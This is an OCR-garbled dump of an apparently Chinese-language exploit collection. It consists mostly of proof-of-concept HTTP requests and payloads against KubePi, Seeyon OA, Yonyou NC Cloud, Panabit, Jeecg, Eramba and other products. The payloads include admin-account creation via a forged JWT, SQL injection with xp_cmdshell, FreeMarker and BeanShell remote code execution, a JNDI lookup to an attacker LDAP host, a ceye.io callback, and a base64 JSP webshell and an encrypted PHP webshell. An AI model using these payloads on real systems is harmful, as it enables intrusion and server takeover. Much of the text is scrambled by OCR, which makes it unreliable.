5 "engine! - "ha" 18 |- -"message": "Timed out after 18.8 s"

26 ¥ 19 }

27 ¥

KubePi JwtSigKey EpE&kid iR (CVE-2023-22463)

imAER

KubePi Z7E JWT BREE, RtEBIERB O UKERSBEEETENR, FNEERAF
p=p AL

FE DU

P MLs

“EED1RZ”

mAEm

BFEUE


https://www.yuque.com/moyuansrc/npgiwy/mb1gbgaizk13fz8e#ycvmT
af://n387

00
1 POST /kubepi/api/v/users HTTP/.
5 Host: {{Hostname}}
3 User-Agent: Mozilla/.(Windows NT
4 (KHTML, like Gecko) Chrome/...Safari/.
5 accept: application/json
6 Accept-Encoding: gzip, deflate
7 Authorization: Bearer
8
9

10

11

12 ZBBGoSKfLONVbKCEQjld

13

14 1

15 "authenticate": {

16 "password": "{{randstr}}"

17 H

1g "email": "{{randstr}}@qq.com",

19 "isAdmin": true,

g "mfa: {

91 "enable": false

22 }I

oz "name": "{{randstr}}",

54 "nickName": "{{randstr}}",

o5 "roles": [

26 "Supper User"

27 |

N
(o]

S % KubePi

eyJhb6ci0iJIUZINIiISInRcCIIKpXVCI.eyJuYWLIjoiYWRtaWiLCIuaWNrTmFtZSIIKFKbW
TuaXNcmFbIiLCI1bWFpbCIINNcHBvcNRAZmIMMNSbVKLMNVbSIsImxhbmdYWd1lIjoiemgtQ
iLCJIyZXNvdXJjZVBLlcmpcNpbzIjpfSwiaXNBZGpbmlzdHIhdGyIjpcnVL1LCItZmEiOnsi

ZWhYmx1IjpmYWxzZSwicVjcmVIjoiIiwiYXBwemZWQiOmZhbHNTFX . XxQmyfqg_jyeYvrjgsO

}.

.; Win; x) AppleWebKit/.




Request ¥ mEEIEW m m Responses  B01byies | 177ms

1 POST /hubepi/apl/vl/users HTTP/L.1 1 HTTP/1.1 288 OK
7 Mest:| I ?  Content-Type: application/json; charset=utf-8 MBI 17 Tem
3 User=Agent: Mozilla/5.@ (Windows NT 10.8; WinGd; x64) AppleWebKit/537.36 (KHTML, - Like k] Set=-Cookie: SESS_CWIE_KWEPFﬂhbﬂs!c-sﬁd-lﬂI’-WZ"-‘:"-f._ B
Geckol Chrome/185.@,5195.127 Safari/f537, 36 Path=/; Expires=Fri, 19 Apr 2047 @4:40:42 GNT; Max-Age-/47346373;
4 Comnection: close Httplnly; SaneSiteslax
5 Comtent-Length: 345 4 Date: Sun, 13 Aug 2023 0B:24:20 MT
B Accept-Encoding: gzip, deflate 5 Connection: close
Authorization: Bearer eylhbGe 10L1IUZIIMLISIARScCIGIKpXVOIS. L Content-Length: BAL
ey JuWlLll joivWRtakWd il CIuabhrTnFt ZSTGTkF kbW luaXN@cmFab3T iLC ] LbWF pb{ IGInM1cHBvcnRAZm L BkMn
NsbIVELmNvLST s Irshibnd 1vWd 11 0 lemg 084 ILCIyZXNvl jZVELCmlpc INph25 21 | p7 FSw laXNBZGlpbmls a {
AHIhGGEY L i p@cnV LI tInE L0ns iZWSh e LT jpmYWxzZ5wic2V] onvl joiLiwi YABwcmI2 IWdi0nZhbaN L FX ] “data": {
@. clmy fo_7] yevrjqs0Z4B84G05 kFLOZNBKCEG ] Ldé i@ "apiVersion®: -*",
8 accept: application/jscn 11 "hind": -
9 12 “createAt™: “2023-88-13T08:24:29.63668801L07",
18w q{ 13 “updateAt: “2023-88-13T08: 24:29.6366890261",
11 w "authenticate™: { 14 "builtIn": false,
12 | - -"password™: " 2TvEEVRDODChOpS12FF IR Prghul™ 15 "createdBy": “admin”,
13 ¥ 16 “name™: " ETVEEVRDGDChIp51zFF1Rj Pnghul®,
14 “email": “2TvEEVRDcDChSpS12FF1R] PngWulggg. con®™, 17 "description™: ",
15 "isAdmin": - true, 18 "uuid™: "1598c7f3-2349-41a3-8557-081214208Fce”,
16 v "mfa": { 13 “nickhane": “ZTvEEVAOODChOpS1zFFLR] Prghul®,
17 | - "enable": false 20 “email®: “2TvEEVRDoOChIpS1zFF IR} PngWulgqn. con™,
18 h n “language": “zh-CN",
19 “"name™ s "ITWEEVRDEDCHIpS12FF LR Prghul™, 2 "ishdmin®s true,
bl "nickName": “2TvEEVAD0DChOpS12FFLR] Paghiul", 23 "authenticate™: {
n v "roles": [ 24 | “password™: "§$2a510506nTh915erydFKomgyTN. X115n08xZ8TY50.
2 |+ "supper user" W] jsiﬂxln‘te 103. %0, .
23 ] 25 “token": = EZ Sl o L ISR
2 2 10 82 72 4 B

##38 16.5 router.class.php SQL:F N\ R E:
(N N

1 POST /user-login.html
account=admin%27+and+%28select+extractvalue%281%2Cconcat%280x7e%2C%28select+user%28%29%29
%2C0x7€%29%29%29%23

#IEDR RCEi®ifl:
FF /2 B7E /Console/inter/handler/change_white_list_cmd.php id &%k

POST /inter/ajax.php?cmd=get_user_login_cmd HTTP/1.1

; Host: 192.168.24.3:6868

3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:109.0) Gecko/20100101
4, Firefox/114.0

5 Accept: * /%

6 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;g=0.2
7 Accept-Encoding: gzip, deflate

g Content-Type: application/x-www-form-urlencoded; charset=UTF-8

9 X-Requested-With: XMLHttpRequest
10 Content-Length: 131
11 Origin: http://192.168.24.3:6868
12 Connection: close

13 Referer: http://192.168.24.3:6868/settings/system/user.php?ml=7&m2=0

14

15 {"change_white_list_cmd":{"ip":"{BD435CCE-3F91EC}", "name" :"3AF264D9-

14 AE5A","id":"111;set//global//general_log=on;","type":"0"}}

K’ EBEphpX


af://n399
af://n402

POST /inter/ajax.php?cmd=get_user_login_cmd HTTP/1.1

1
2 Host: 192.168.24.3:6868
3 Content-Length: 195
4 Accept: */*
5 X-Requested-With: XMLHttpRequest
s User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36 (KHTML,
7 like Gecko) Chrome/114.6.0.0 Safari/537.36
g Content-Type: application/x-www-form-urlencoded; charset=UTF-8
9 Origin: http://192.168.24.3:6868
10 Referer: http://192.168.24.3:6868/
11 Accept-Encoding: gzip, deflate
12 Accept-Language: zh-CN,zh;q=0.9
13 Cookie: SKYLARaOaedxe9e785feabxae789c6e03d=tf2xbucirlmkugsxpg4bgaqOsnb?
14 Connection: close
15
14 1"change_white_list_cmd":{"ip":"{BD435CCE-3F91EC}", "name":"3AF264D9-
17 AE5A","id":"111;set//global//general_log_file=0x2e2e2f2e2e2f436f6e736T6c652f6368656
18 36b5F6c6T67696£322e706870;", "type":"0"}}
1o HAMRIBEMESARR, MEHHEEE:
https://www.yuque.com/moyuansrc/npgiwy/mblgbgaizkl13fz8e#eDxcw
5 Aphpfit3
[ N N
1 POST /inter/ajax.php?cmd=settings_distribute_cmd HTTP/1.1
5 Host: 192.168.24.3:6868
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:109.0) Gecko/20100101
4, Firefox/114.0
5 Accept: * /%
6 Accept-Language: zh-CN,zh;g=0.8,zh-TW;g=0.7,zh-HK;g=0.5,en-US;g=0.3,en;q=0.2
7 Accept-Encoding: gzip, deflate
8 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
9 X-Requested-With: XMLHttpRequest
10 Content-Length: 222
11 Origin: http://192.168.24.3:6868
12 Connection: close
13 | Referer: http://192.168.24.3:6868/index.php
14 {"settings_distribute_cmd":{"userSession":"{BD435CCE-3F91-E1AA-3844-
15  76A49EE862EB}", "mode_id":"3AF264D9-AESA-86F0-6882-DD7F56827017", "settings":"3AF264D9-
14 AE5A-86F0-6882-DD7F56827017_0","SC_list":{"a":"<?php phpinfo();?>"}}}
&fGgetidKrce:
00

1

http://192.168.24.3:6868/check_login2.php



#F10A C6-GetSglData.aspx SQL;E\ifiHE
00

POST /cé6/Contro/GetSglData.aspx/.ashx

Host: ip.port

User-Agent: Mozillal5.0 (Windows NT 5.1) AppleWebkit/537.36(KHTML, 1like Gecko)
Chrome/35.0.2117.157 Safari/537 36

Connection: close

Content-Length.189

Content-Type. text/plain

W N

Accept-Encoding: gzip

0 N O 01 N

exec master..xp cmdshell 'ipconfig'

Panabit iXCacheM%XRCE;gICVE-2023-38646
O 00

POST /cgi-bin/Maintain/date_config HTTP/1.1
Host: 127.0.0.1:8443
Cookie: pauser_9667402_260=paonline_admin_44432_9663;
pauser_9661348_661=paonline_admin_61912_96631
4, User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:104.0) Gecko/20100101
Firefox/104.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 107

ntpserver=0.0.0.0%3Bwhoami&year=2000&month=08&day=15&hour=11&minute=34&second=53&ifname=F
xpl

0 J o~ Ol

BOAERERRER


af://n411
af://n417
af://n421

N

POST /seeyon/thirdpartyController.do HTTP/1.1

method=access&enc=TT5uZnROYmhmL21qgb2wvZXBKL2dwbWVmcy9wcWZvI04%2BLjgz0DQXNDMxMjQzNDU4NTKyYN
zknVT4zNjkONzI5NDo3MjU4&clientPath=127.0.0.1

BY;RERP{Z{ESQLEY A 5’

R BIRMTERPRAGRBFEN BT WAL ERWINEE, T UENAERIWHER, ZRKFEsql
A N, TSIIREXARSS S AXFR

o Ol N NN P

~

10
11
12
13

14
15

16
17
18

relative: reg0 && reql

session: false

requests:

- method: GET

timeout: 13

path: /cgztbweb/VisitorWeb/VistorWeb_XMLHTTP.aspx?
ParentCode=1"';WAITFOR%20DELAT%20'0:0:5'--&ywtype=GETParentProjectName
headers:

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/69.0.2786.81 Safari/537.36

follow_redirects: true

matches: (time.gt("5")) && time.1t("10")

- method: GET

timeout: 10

path: /cgztbweb/VisitorWeb/VistorWeb_XMLHTTP.aspx?
ParentCode=1"';WAITFOR%20DELAT%20'0:0:0"'--&ywtype=GETParentProjectName
headers:

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/69.0.2786.81 Safari/537.36

follow_redirects: true

matches: time.lt("5")


af://n429

HMGTOA_V8.1SP2X {4 L1&RRA
00

q POST

/seeyon/ajax.do?

method=ajaxAction&managerName=formulaManager&managerMethod=saveFormula4Clloud
HTTP/1.1

Host:

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7)

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36

Accept: */*

Referer:

N

O 00 N O O N W

Accept-Encoding: gzip, deflate

10 Accept-Language: zh-CN,zh;q=0.9

11 Cookie: JSESSIONID=5C25EFEF65A2B6A4C12848B88EA60639; loginPageURL=
1o Content-Type: multipart/form-data;

13 boundary=59229605f98b8cf290a7b8908b34616b

14 Accept-Encoding: gzip

15 Connection: close

16 Content-Length: 208

17
1g arguments=

{"formulaName":"test", "formulaAlias":"safe_pre", "formulaType":"2", "formulaExpression":""
, "Sample" : II7KE_1’||}

& OA A8 htmlofficeservlet getshell ;&iH
Bin OA thEIEEMHFLFEER getshell
poc

https://github.com/Ares-X/VulWiki/blob/262bbf7e127939cbcdd6bf176678be520d948334/Web%E5%AE%8
9%E5%85%A8/%E8%87%B4%E8%BF%9Coa/%E8%87%B4%E8%BF %9C %200A%20A8%20htmloffices

ervlet%20getshell%20%E6%BC%8F %E6%B4%9E.md

from sys import argv

letters = "gx74KW1roM9qwzPFVOBLS1YaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuUT/m8Dpk6"

g N NN B

def baseé4_encode(input_str):


af://n433
af://n437
https://github.com/Ares-X/VulWiki/blob/262bbf7e127939cbcdd6bf176678be520d948334/Web%E5%AE%89%E5%85%A8/%E8%87%B4%E8%BF%9Coa/%E8%87%B4%E8%BF%9C%20OA%20A8%20htmlofficeservlet%20getshell%20%E6%BC%8F%E6%B4%9E.md

O 00 N O

10
11
12
13
14
ilis)
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
55
34
5
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

def

if

str_ascii_list = ['{:0>8}'.format(str(bin(ord(i))).replace('6b',

for i in input_str]
output_str = "'
equal_num = 0
while str_ascii_list:
temp_list = str_ascii_list[:3]
if len(temp_list) !'= 3:
while len(temp_list) < 3:
equal_num += 1
temp_list += ['0' * 8]
temp_str = ''.join(temp_list)

temp_str_list = [temp_str[x:x + 6] for x in [0, 6, 12, 18]]
temp_str_list = [int(x, 2) for x in temp_str_list]

if equal_num:

temp_str_list = temp_str_list[0:4 - equal_num]
output_str += ''.join([letters[x] for x in temp_str_list])
str_ascii_list = str_ascii_list[3:]
output_str = output_str + '=' *x equal_num

return output_str

baseé64_decode(input_str):

str_ascii_list = ['{:0>6}'.format(str(bin(letters.index(i))).replace('Ob’,
for i in input_str if i != '=']

output_str = "'

equal_num = input_str.count('=")

while str_ascii_list:
temp_list = str_ascii_list[:4]
temp_str = ''.join(temp_1list)
if len(temp_str) % 8 != 0:

temp_str = temp_str[0:-1 * equal_num * 2]
temp_str_list = [temp_str[x:x + 8] for x in [0, 8, 16]]
temp_str_list = [int(x, 2) for x in temp_str_list if x]
output_str += ''.join([chr(x) for x in temp_str_list])
str_ascii_list = str_ascii_list[4:]

return output_str

__hame__ == "__main__":

if len(argv) == 2:
print(baseé4_decode(argv[1]))
elif len(argv) == 3:
if argv[1] == '-d':
print(baseé64_decode(argv[2]))
else:
print(baseé4_encode(argv[2]))
else:

II))

print("Seeyon O0A /seeyon/htmlofficeservlet param encode/decode")

print("Usage:")

print("python %s encoded_str" % argv[0])t
print("python %s -d encoded_str" % argv[0])
print("python %s -e raw_str" % argv[0])



--FA&nc-cloudRCE

00
| R
5 NC63, NC633, NC65
3z NC Cloud1903, NC Cloud1909
4 NC Cloud2005, NC Cloud2105, NC Cloud2111
5 YonBIPEhR2207
6
o SRR, RE200
8
9 POST /uapjs/jsinvoke/?action=invoke HTTP/1.1
19 Host: 127.0.0.1:8080
11 Cache-Control: max-age=0
12 Upgrade-Insecure-Requests: 1
13 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/92.0.4515.159 Safari/537.36
14 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*
/*;q=0.8,application/signed-exchange;v=b3;q=0.9
15 Accept-Encoding: gzip, deflate
16 Accept-Language: zh-CN,zh;q=0.9
17 Cookie: cookiets=168170496; JSESSIONID=33A343770FF.server
1g If-None-Match: W/"1571-1589211696000"
19 If-Modified-Since: Mon, 11 May 2020 15:41:36 GMT
og Connection: close
21 Content-Type: application/x-www-form-urlencoded
9o Content-Length: 249
23
24 {"serviceName":"nc.itf.iufo.IBaseSPService", "methodName":"saveXStreamConfig", "parameterT
ypes":["java.lang.0bject","java.lang.String"], "parameters":
["${param.getClass().forName(param.error).newInstance().eval(param.cmd)}", "webapps/nc_we
b/404.jsp" 1}
25
0 BREHEEMNTRS, RERSHUTER
27
28 POST /404.jsp?error=bsh.Interpreter HTTP/1.1
9¢ Host: 127.0.0.1:8080
39 Cache-Control: max-age=0
21 Upgrade-Insecure-Requests: 1
32 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/92.0.4515.159 Safari/537.36
33 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*
/*;q=0.8,application/signed-exchange;v=b3;q=0.9
34 Accept-Encoding: gzip, deflate
35 Accept-Language: zh-CN,zh;q=0.9
36 Cookie: cookiets=1681785232226; JSESSIONID=334D3ED07A343770FF.server
37 If-None-Match: W/"1571-1589211696000"
28 If-Modified-Since: Mon, 11 May 2020 15:41:36 GMT
z9 Connection: close
40 Content-Type: application/x-www-form-urlencoded
41 Content-Length: 104

42


af://n443

43 cmd=org.apache.commons.io.I0Utils.toString(Runtime.getRuntime().exec("ping
8.8.8.8").getInputStream())

F& NC Cloud jsinvoke £ X4 L {5iF:H
Pyt U

FA% NC Cloud jsinvoke #OFAEEXH L FE, REEBSRRTULEFERXGERSSED, RNAFR
MR

1 app="H/&-NC-Cloud"

B UR s
X X

1 NC63, NC633, NC65NC Cloud1903, NC Cloud1909NC Cloud2005, NC Cloud2105, NC Cloud2111

POC1
(N N
1 POST J/uapjs/jsinvoke/?action=invoke
2 Content-Type: application/json
S
4 1
5 "serviceName": "nc.itf.iufo.IBaseSPService",
6 "methodName": "saveXStreamConfig",
7 "parameterTypes": [
3 "java.lang.0Object",
9 "java.lang.String"
10 ]I
11 "parameters": [
12 "${param.getClass().forName(param.error).newInstance().eval(param.cmd)}",
13 "webapps/nc_web/407.jsp"
14 ]

=
ol
-


af://n447

POC2

00
1 POST /uapjs/jsinvoke/?action=invoke HTTP/1.1
2 Host:
3 Connection: Keep-Alive
4 Content-Length: 253
5 Content-Type: application/x-www-form-urlencoded
6
7 A
3 "serviceName": "nc.itf.iufo.IBaseSPService",
9 "methodName": "saveXStreamConfig",

10 "parameterTypes": [

11 "java.lang.0Object",

12 "java.lang.String"

13 ]l

14 "parameters": [

15
"${''.getClass().forName('javax.naming.InitialContext').newInstance().lookup('Lldap://VPS
ip:1389/TomcatBypass/TomcatEcho')}",

16 "webapps/nc_web/301.jsp"

17 | 1

18}

POC3
00

1 POST /uapjs/jsinvoke/?action=invoke HTTP/1.1

2 Host: 192.168.0.11:8089

3 Content-Length: 249

4 Accept: */*

5

6 {"serviceName":"nc.itf.iufo.IBaseSPService", "methodName":"saveXStreamConfig", "parameterTy

pes":["java.lang.0bject","java.lang.String"], "parameters":
["${param.getClass() .forName(param.error).newInstance().eval(param.cmd)}", "webapps/nc_web
/1ndex.jsp"]1}

iaindex.jsp, WLHITHIY!



1 https://192.168.0.11:8089/1ndex. jsp?
error=bsh.Interpreter&cmd=org.apache.commons.io.I0Utils.toString(Runtime.getRuntime().exe
c(%22whoami%22) .getInputStream())

1 GET /1ndex.jsp?

error=bsh.Interpreter&cmd=org.apache.commons.io.I0Utils.toString(Runtime.getRuntime().exe

c(%22whoami%22) .getInputStream()) HTTP/1.1

Host: 192.168.0.11:8089

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/115.0.0.0 Safari/537.36

s Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, image/webp, image/apng,*/
*;0=0.8,application/signed-exchange;v=b3;q=0.7

o1 N NN

Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
9 Connection: close

--Jeecg-Boot Freemarker #&iRENER
00

POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Host: xxx.com

2 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_12_6) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/57.0.2088.112 Safari/537.36

4 Accept-Encoding: gzip, deflate

5 Accept: /

¢, Connection: close

7 Content-Type: application/json;charset=UTF-8

8 Content-Length: 129

9

10 {"apiSelectId":"1290104038414721025",

17 | "dd":"1"}

12

13

1, EEmE

15 1. MEEEEEFIE, FUEEeetshell;

s 2. MEWREERFE, TRATARSRKE, SHERINE;
17 3. MEWKEERFE, SRS TERNNRA IR

g 4 MERIEERIF, AN


af://n468

19 1EEREE

op JeecdEREXRIESZIRR, FiEBIFRIeecoBoothRAES IZIFR, EiX:

51 1. IGRSEEFAFreemarkerBBAUNRTEHITE, MN: freemarker.template.utility.Execute (FHURIRARK
Z, BRTHN)

-EREFREETRRLESQLIEN
eo0o0

1 sqlmap -u "http://xxx.xxx.xxx.xxx/NewsDetailPage.aspx?key=news&id=7" -p id -batch

MAEESRERARERBAITER
eooo

RS
S ESREERS/service_transport/service.actioniEZO4MFEFreeMarkertEiGEN, W& AERRS
MINEER T, BREEEN, MERENEITENEHNT, SEIGEMRIRSEELR.

N

title="E LREIRSEEFE"

BEFENREEE
http://xxx.com/service_transport/service.action
ST

pociREIE

O 00O N O 01 N W

10
17 POST /service_transport/service.action HTTP/1.1

12 Host: your-ip

13 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

14 Accept-Encoding: gzip, deflate

15 Accept-Language: zh-CN,zh;g=0.8,zh-TW;g=0.7,zh-HK;g=0.5,en-US;g=0.3,en;q=0.2

16 Cookie: JSESSIONID=6A13B163BOFA9ASF8FE53D4153AC13A4

17 Upgrade-Insecure-Requests: 1

18 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:109.0) Gecko/20100101
Firefox/114.0

19

20

21 "command": "GetFZinfo",

29 "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"?
new()>${ex(\"cmd /c ping vBu26h.ceye.io\")}"

23 |}
24

25
94 POST /service_transport/service.action HTTP/1.1

27 Host:

og | Accept: * /%

79 Content-Type: application/json

30

31 {"command":"GetFZinfo", "UnitCode":"<#assign ex =
\"freemarker.template.utility.Execute\"?new()>${ex(\"cmd /c echo Test >
./webapps/RO0OT/Test.txt\")}"}


af://n470
af://n472

32
53
34
55
36
37
38
39
40

41
42
43
44
45

46
47
48
49

50
51
52
58
54
)
56

57/
58
59
60
61

62
63
64
65

66

21N
5x

POST /service_transport/service.action HTTP/1.1

Host: your-ip

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;g=0.2

Cookie: JSESSIONID=6A13B163BOFA9ASF8FE53D4153AC13A4

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; xé64; rv:109.0) Gecko/20160101
Firefox/114.0

"command": "GetFZinfo",

"UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"?
new()>${ex(\"cmd /c echo
PCUhCiAgICBjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXIgewogICAgICAgIFU0Q2xhc3NMb2FKkZXIgYykgewog
ICAgICAgICAgICBzdXBlcihjKTsKICAgICAgICB9CiAgICAgICAgCcHVibGljIENSYXNzIGcoYn10ZVtdIGIpIHsSK
ICAgICAgICAgICAgcmVOdXJuIHN1cGVYLmR1ZmLuZUNSYXNzKGISIDASIGIubGVUZ3RoKTsKICAgICAgICBYCiAg
ICB9CiAKICAgIHB1YmxpYyBieXR1W10gYmFzZTYORGVjb2R1KFNOcmluZyBzdHIpIHRocm93cyBFeGN1cHRpb24g
ewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIENSYXNzIGNsYXp6IDOgQ2xhc3MuzZm9yTmFtZSgic3VulLmlpc2Mu
QKFTRTYBRGVjb2R1ciIpOwogICAgICAgICAgICBYZXR1cm4gKGI5dGVbXSkgY2xhenouZ2VOTWVBaG9kKCIKZIWNY
ZGVCAWZmZXIiLCBTdHIpbmcuY2xhc3MpLmludm9rZShjbGFéei5uZXdIbnNOYW5jZSgpLCBzdHIpOwogICAgICAg
IHOgY2FOY29gKEV4Y2VwdGlvbiB1KSB7CiAgICAgICAgICAgIENSYXNZIGNSsYXp6IDOgQ2xhc3MuZm9yTmFtZSgi
amF2YS51dGlsLkIhc2U2NCIpOwogICAgICAgICAgICBPYmplY3Qg9ZGVjbh2R1ciA9IGNsYXp6LmdldEL11dGhvZCgi
Z2VORGYjb2RlciIpLmludm9rZShudWxsKTsKICAgICAgICAgICAgcmVOdXJUuIChieXRIW10pIGR1Y29KZXIuZ2V0
Q2xhc3MoKS5nZXRNZXRob2QoImMR1Y29kZSIsIFNOcmluZy5jbGFzcykuall52b2t1KGR1Y29kZXIsIHNOcik7CiAg
ICA9ICAgfQogICAgfQolPgo83QogICAgU3Ryall5nIGNscyA9IHI1cXV1c3QuZ2VOUGFYYW1ldGVyKCIwYXNzd2Q1
KTSKICAgIGImIChjbHMgITOgbnVsbCkgewogICAgICAgIG51dyBVKHRoaXMuzZ2V0Q2xhc3MoKS5nZXRDbGFzcOxv
YWRLcigpKS5nKGIhc2U2NER1Y29KZShjbHMpKS5uZXdIbnNOYW53ZSgpLmVxdWFscyhwYWd1Q29udGV4dCk7CiAg
ICB9CiU+ >./webapps/ROOT/1.txt\")}"

F
AR
MR sp

POST /service_transport/service.action HTTP/1.1

Host: your-ip

Accept:

text/html, application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.8,zh-TW;g=0.7,zh-HK;g=0.5,en-US;g=0.3,en;q=0.2

Cookie: JSESSIONID=6A13B163BOFA9ASF8FE53D4153AC13A4

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; xé64; rv:109.0) Gecko/20160101
Firefox/114.0

"command": "GetFZinfo",

"UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"?
new()>${ex(\"cmd /c certutil -decode ./webapps/R0O0T/1.txt ./webapps/RO0T/1.jsp\")}"
¥



EWRIHERLRAVIEE X4 LKA
o000

POST /inter/software_relation.php HTTP/1.1

Host: 192.168.249.137:6868

Content-Length: 1557

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

Origin: http://192.168.249.137:6868

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxRP5VjBKdgBrCixM
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64)

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, image/webp, image/apng,/
;0=0.8,application/signed-exchange;v=b3;q=0.9

O 00 N O 01 N NN P

=
=)

11 Accept-Encoding: gzip, deflate

12 Accept-Language: zh-CN,zh;q=0.9

13 Connection: close ------ WebKitFormBoundaryxRP5VjBKdgBrCixM

14 Content-Disposition: form-data; name="toolFileName" ../../datav.php ------
WebKitFormBoundaryxRP5VjBKdgBrCixM

15 Content-Disposition: form-data; name="toolDescri" ------
WebKitFormBoundaryxRP5VjBKdgBrCixM Content-Disposition: form-data; name="id" ------
WebKitFormBoundaryxRP5VjBKdgBrCixM

16 Content-Disposition: form-data; name="version" ------ WebKitFormBoundaryxRP5VjBKdgBrCixM
Content-Disposition: form-data; name="sofe_typeof" ------
WebKitFormBoundaryxRP5VjBKdgBrCixM Content-Disposition: form-data; name="fileSize" -----
-WebKitFormBoundaryxRP5VjBKdgBrCixM Content-Disposition: form-data; name="param" ------
WebKitFormBoundaryxRP5VjBKdgBrCixM Content-Disposition: form-data; name="toolName" -----
-WebKitFormBoundaryxRP5VjBKdgBrCixM Content-Disposition: form-data; name="toolImage";
filename="3.php" Content-Type: image/png <?php @error_reporting(0); session_start();
$key="e45e329feb5d925b"; //rebeyond $_SESSION['k']=$key; session_write_close();
$post=file_get_contents("php://input"); if(!extension_loaded('openssl')) {
$t="baseb4_"."decode"; $post=$t($post.""); for($i=0;%i<strien($post);$i++) { $post[$i] =
$post[$i] $key[$i+1&15]; + } else { $post=openssl_decrypt($post, "AES128", $key); }
$arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function
__invoke($p) {eval($p."");}} @call_user_func(new C(),$params); ?> ------
WebKitFormBoundaryxRP5VjBKdgBrCixM

ErambafE =31 17K E CVE-2023-36255

CVE-2023-36255

o MREXE: ~ZRRABHRIT

o R EERSES


af://n475
af://n478

o *&ER: *ErambaFEZRENBHITFE, AWEIEHIIENAFATEENB,.

o000
1 kA< : Enterprise and Community edition <= 3.19.1
2
3 GET /settings/download-test-pdf?path=ip%20a; HTTP/1.1
4, Host: [redacted]
5 Cookie: translation=1;

csrfToken=112rXXwj1D1hVyVRH%2B19%2BzIzYTA30GFiNWRjZWVmMODQ10TUINWEYODM2MZzIWZTZKZTVINmULY j
Y%3D; PHPSESSID=14j6sfroeé6t2gimh7192alvjg8
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/111.0
7 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, image/webp,*/*;q=0.8
8 Accept-Language: de,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

10 Referer: https://[redacted]/settings

11 Upgrade-Insecure-Requests: 1

17 Sec-Fetch-Dest: document

13 Sec-Fetch-Mode: navigate

14 Sec-Fetch-Site: same-origin

15 Sec-Fetch-User: ?1

16 |Te: trailers

17 Connection: close

18

19 HTTP/1.1 500 Internal Server Error

20 Date: Fri, 31 Mar 2023 12:37:55 GMT

91 Server: Apache/2.4.41 (Ubuntu)

99 Access-Control-Allow-Origin: x*

23 Expires: Thu, 19 Nov 1981 08:52:00 GMT

24 Cache-Control: no-store, no-cache, must-revalidate

o5 Pragma: no-cache

26 Content-Disposition: attachment; filename="test.pdf"

97  X-DEBUGKIT-ID: d383f6d4-6680-4db0-b574-fe789abcl718

og Connection: close

59 Content-Type: text/html; charset=UTF-8

20 Content-Length: 2033469

31

s, <!DOCTYPE html>
33 <html>

5, <head>

35 <meta charset="utf-8"/> <meta name="viewport" content="width=device-width, initial-
scale=1.0">

34 <title>

z7 Error: The exit status code '127' says something went wrong:

28 stderr: &quot;sh: 1: --dpi: not found

39 &quot;

40 stdout: &quot;1: lo: &Llt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN
group default glen 1000

41 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
42 inet 127.0.0.1/8 scope host 1lo

43 valid_1ft forever preferred_1ft forever

44 ineté6 ::1/128 scope host

